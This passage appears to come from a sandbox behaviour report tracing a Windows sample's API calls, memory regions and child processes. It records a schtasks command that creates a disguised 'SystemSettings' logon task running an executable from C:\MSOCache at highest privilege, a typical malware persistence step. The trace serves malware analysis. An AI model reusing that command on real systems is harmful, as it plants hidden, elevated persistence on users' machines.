0x1685a9b0000 [0133.572] GetProcessHeap () returned 0x1685a9b0000 [0133.650] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4460) returned 1 [0133.650] GetProcessHeap () returned 0x1685a9b0000 [0133.650] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4460) returned 0x18 [0133.650] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4460) returned 1 [0133.650] GetProcessHeap () returned 0x1685a9b0000 [0133.650] GetProcessHeap () returned 0x1685a9b0000 [0133.650] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b91d0) returned 1 [0133.650] GetProcessHeap () returned 0x1685a9b0000 [0133.650] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b91d0) returned 0x20 [0133.651] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b91d0) returned 1 [0133.651] GetProcessHeap () returned 0x1685a9b0000 [0133.651] GetProcessHeap () returned 0x1685a9b0000 [0133.651] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b9110) returned 1 [0133.651] GetProcessHeap () returned 0x1685a9b0000 [0133.651] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b9110) returned 0x20 [0133.651] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b9110) returned 1 [0133.651] GetProcessHeap () returned 0x1685a9b0000 [0133.651] GetProcessHeap () returned 0x1685a9b0000 [0133.651] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b91a0) returned 1 [0133.651] GetProcessHeap () returned 0x1685a9b0000 [0133.651] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b91a0) returned 0x20 [0133.652] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b91a0) returned 1 [0133.652] GetProcessHeap () returned 0x1685a9b0000 [0133.652] GetProcessHeap () returned 0x1685a9b0000 [0133.652] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b8ed0) returned 1 [0133.652] GetProcessHeap () returned 0x1685a9b0000 [0133.652] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b8ed0) returned 0x20 [0133.652] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b8ed0) returned 1 [0133.652] GetProcessHeap () returned 0x1685a9b0000 [0133.652] GetProcessHeap () returned 0x1685a9b0000 [0133.652] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b9050) returned 1 [0133.653] GetProcessHeap () returned 0x1685a9b0000 [0133.653] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b9050) returned 0x20 [0133.653] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b9050) returned 1 [0133.653] GetProcessHeap () returned 0x1685a9b0000 [0133.653] GetProcessHeap () returned 0x1685a9b0000 [0133.653] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4480) returned 1 [0133.653] GetProcessHeap () returned 0x1685a9b0000 [0133.653] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4480) returned 0x18 [0133.653] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4480) returned 1 [0133.653] GetProcessHeap () returned 0x1685a9b0000 [0133.653] GetProcessHeap () returned 0x1685a9b0000 [0133.653] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b9140) returned 1 [0133.653] GetProcessHeap () returned 0x1685a9b0000 [0133.653] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b9140) returned 0x20 [0133.654] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b9140) returned 1 [0133.654] GetProcessHeap () returned 0x1685a9b0000 [0133.654] GetProcessHeap () returned 0x1685a9b0000 [0133.654] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4eb0) returned 1 [0133.654] GetProcessHeap () returned 0x1685a9b0000 [0133.654] RtlSizeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, MemoryPointer=0x1685a9b4eb0) returned 0x18 [0133.654] RtlFreeHeap (HeapHandle=0x1685a9b0000, Flags=0x0, BaseAddress=0x1685a9b4eb0) returned 1 [0133.654] exit (_Code=0) Thread: id = 156 os_tid = 0x1358 Process: id = "14" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x6ea82000" os_pid = "0x1360" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x11a8" cmd_line = "schtasks.exe /create /tn \"SystemSettings\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3103 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3104 start_va = 0xf45eab0000 end_va = 0xf45eb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f45eab0000" filename = "" Region: id = 3105 start_va = 0xf45ec00000 end_va = 0xf45edfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f45ec00000" filename = "" Region: id = 3106 start_va = 0x2236c420000 end_va = 0x2236c43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c420000" filename = "" Region: id = 3107 start_va = 0x2236c440000 end_va = 0x2236c454fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236c440000" filename = "" Region: id = 3108 start_va = 0x7df5ff180000 end_va = 0x7ff5ff17ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff180000" filename = "" Region: id = 3109 start_va = 0x7ff6b5f80000 end_va = 0x7ff6b5fa2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b5f80000" filename = "" Region: id = 3110 start_va = 0x7ff6b6f50000 end_va = 0x7ff6b6f8cfff monitored = 1 entry_point = 0x7ff6b6f74550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3111 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3112 start_va = 0x2236c460000 end_va = 0x2236c463fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236c460000" filename = "" Region: id = 3113 start_va = 0x2236c470000 end_va = 0x2236c470fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236c470000" filename = "" Region: id = 3114 start_va = 0x2236c480000 end_va = 0x2236c481fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c480000" filename = "" Region: id = 3115 start_va = 0x2236c490000 end_va = 0x2236c62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c490000" filename = "" Region: id = 3116 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3117 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3118 start_va = 0x2236c420000 end_va = 0x2236c42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236c420000" filename = "" Region: id = 3119 start_va = 0x7ff6b5e80000 end_va = 0x7ff6b5f7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b5e80000" filename = "" Region: id = 3120 start_va = 0x2236c630000 end_va = 0x2236c6edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3121 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3122 start_va = 0xf45eb30000 end_va = 0xf45ebaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f45eb30000" filename = "" Region: id = 3123 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3124 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3125 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3126 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3127 start_va = 0x2236c6f0000 end_va = 0x2236c7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c6f0000" filename = "" Region: id = 3128 start_va = 0x2236c430000 end_va = 0x2236c436fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c430000" filename = "" Region: id = 3129 start_va = 0x2236c7d0000 end_va = 0x2236c912fff monitored = 0 entry_point = 0x2236c7f8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3130 start_va = 0x2236c490000 end_va = 0x2236c496fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c490000" filename = "" Region: id = 3131 start_va = 0x2236c530000 end_va = 0x2236c62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c530000" filename = "" Region: id = 3132 start_va = 0x2236c4a0000 end_va = 0x2236c4b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3133 start_va = 0x2236c7d0000 end_va = 0x2236cb06fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3134 start_va = 0x2236cb10000 end_va = 0x2236cbecfff monitored = 0 entry_point = 0x2236cb6e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3135 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3136 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3137 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3138 start_va = 0x2236c4c0000 end_va = 0x2236c4f8fff monitored = 0 entry_point = 0x2236c4c12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3139 start_va = 0x2236cb10000 end_va = 0x2236cc97fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236cb10000" filename = "" Region: id = 3140 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3141 start_va = 0x2236c4c0000 end_va = 0x2236c4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c4c0000" filename = "" Region: id = 3142 start_va = 0x2236c4d0000 end_va = 0x2236c4d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002236c4d0000" filename = "" Region: id = 3143 start_va = 0x2236cca0000 end_va = 0x2236ce20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236cca0000" filename = "" Region: id = 3144 start_va = 0x2236ce30000 end_va = 0x2236e22ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236ce30000" filename = "" Region: id = 3145 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3146 start_va = 0x2236c4e0000 end_va = 0x2236c4e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236c4e0000" filename = "" Region: id = 3147 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3148 start_va = 0x2236c4f0000 end_va = 0x2236c4f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002236c4f0000" filename = "" Region: id = 3149 start_va = 0x7ffb18f90000 end_va = 0x7ffb1904efff monitored = 0 entry_point = 0x7ffb18fb1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3150 start_va = 0x7ffb1c450000 end_va = 0x7ffb1c47cfff monitored = 0 entry_point = 0x7ffb1c469d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3151 start_va = 0x7ffb190b0000 end_va = 0x7ffb190e5fff monitored = 0 entry_point = 0x7ffb190c0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 157 os_tid = 0x1378 [0134.123] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6b6f50000 [0134.123] __set_app_type (_Type=0x1) [0134.123] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6b6f748d0) returned 0x0 [0134.123] __wgetmainargs (in: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008, _DoWildCard=0, _StartInfo=0x7ff6b6f88014 | out: _Argc=0x7ff6b6f87ff8, _Argv=0x7ff6b6f88000, _Env=0x7ff6b6f88008) returned 0 [0134.124] _onexit (_Func=0x7ff6b6f77ec0) returned 0x7ff6b6f77ec0 [0134.124] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0134.124] CsrIdentifyAlertableThread () returned 0x0 [0134.124] GetProcessHeap () returned 0x2236c530000 [0134.124] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534a40 [0134.124] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.124] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0134.124] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0134.124] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0134.124] RtlVerifyVersionInfo (VersionInfo=0xf45eb2f6e0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0134.124] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534a60 [0134.125] lstrlenW (lpString="") returned 0 [0134.125] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x2) returned 0x2236c534a80 [0134.125] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c5343f0 [0134.125] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534420 [0134.125] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c534440 [0134.125] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c534470 [0134.125] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c533fe0 [0134.125] GetProcessHeap () returned 0x2236c530000 [0134.125] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c534010 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534040 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538a50 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538c90 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538ab0 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538ba0 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534060 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538b10 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538c30 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538bd0 [0134.126] GetProcessHeap () returned 0x2236c530000 [0134.126] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538b70 [0134.127] SetThreadUILanguage (LangId=0x0) returned 0x409 [0134.128] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.128] GetProcessHeap () returned 0x2236c530000 [0134.128] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538d20 [0134.128] GetProcessHeap () returned 0x2236c530000 [0134.128] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538b40 [0134.128] GetProcessHeap () returned 0x2236c530000 [0134.129] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538d50 [0134.129] GetProcessHeap () returned 0x2236c530000 [0134.129] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538c60 [0134.129] GetProcessHeap () returned 0x2236c530000 [0134.129] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538cc0 [0134.129] GetProcessHeap () returned 0x2236c530000 [0134.129] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534830 [0134.129] _memicmp (_Buf1=0x2236c534830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.129] GetProcessHeap () returned 0x2236c530000 [0134.129] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x208) returned 0x2236c5396c0 [0134.129] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2236c5396c0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0134.129] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xf45eb2f838 | out: lpdwHandle=0xf45eb2f838) returned 0x76c [0134.139] GetProcessHeap () returned 0x2236c530000 [0134.139] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x776) returned 0x2236c53a7c0 [0134.139] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2236c53a7c0 | out: lpData=0x2236c53a7c0) returned 1 [0134.139] VerQueryValueW (in: pBlock=0x2236c53a7c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xf45eb2f7d0, puLen=0xf45eb2f830 | out: lplpBuffer=0xf45eb2f7d0*=0x2236c53ab70, puLen=0xf45eb2f830) returned 1 [0134.142] _memicmp (_Buf1=0x2236c534830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.142] _vsnwprintf (in: _Buffer=0x2236c5396c0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xf45eb2f7a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0134.142] VerQueryValueW (in: pBlock=0x2236c53a7c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xf45eb2f7c0, puLen=0xf45eb2f828 | out: lplpBuffer=0xf45eb2f7c0*=0x2236c53a9a0, puLen=0xf45eb2f828) returned 1 [0134.143] lstrlenW (lpString="schtasks.exe") returned 12 [0134.143] lstrlenW (lpString="schtasks.exe") returned 12 [0134.143] lstrlenW (lpString=".EXE") returned 4 [0134.143] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0134.143] lstrlenW (lpString="schtasks.exe") returned 12 [0134.143] lstrlenW (lpString=".EXE") returned 4 [0134.143] _memicmp (_Buf1=0x2236c534830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.143] lstrlenW (lpString="schtasks") returned 8 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538a20 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c538a80 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b4e0 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b990 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c532120 [0134.144] _memicmp (_Buf1=0x2236c532120, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xa0) returned 0x2236c534270 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b3f0 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b390 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b450 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534720 [0134.144] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.144] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x200) returned 0x2236c53ba90 [0134.144] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0134.144] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0134.144] GetProcessHeap () returned 0x2236c530000 [0134.145] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x30) returned 0x2236c534320 [0134.145] _vsnwprintf (in: _Buffer=0x2236c534270, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xf45eb2f7a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0134.145] GetProcessHeap () returned 0x2236c530000 [0134.145] GetProcessHeap () returned 0x2236c530000 [0134.145] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a7c0) returned 1 [0134.145] GetProcessHeap () returned 0x2236c530000 [0134.145] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a7c0) returned 0x776 [0134.146] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a7c0) returned 1 [0134.146] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.146] GetThreadLocale () returned 0x409 [0134.146] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.146] lstrlenW (lpString="?") returned 1 [0134.146] GetThreadLocale () returned 0x409 [0134.146] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.146] lstrlenW (lpString="create") returned 6 [0134.146] GetThreadLocale () returned 0x409 [0134.146] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.146] lstrlenW (lpString="delete") returned 6 [0134.146] GetThreadLocale () returned 0x409 [0134.146] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.147] lstrlenW (lpString="query") returned 5 [0134.147] GetThreadLocale () returned 0x409 [0134.147] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.147] lstrlenW (lpString="change") returned 6 [0134.147] GetThreadLocale () returned 0x409 [0134.147] CompareStringA 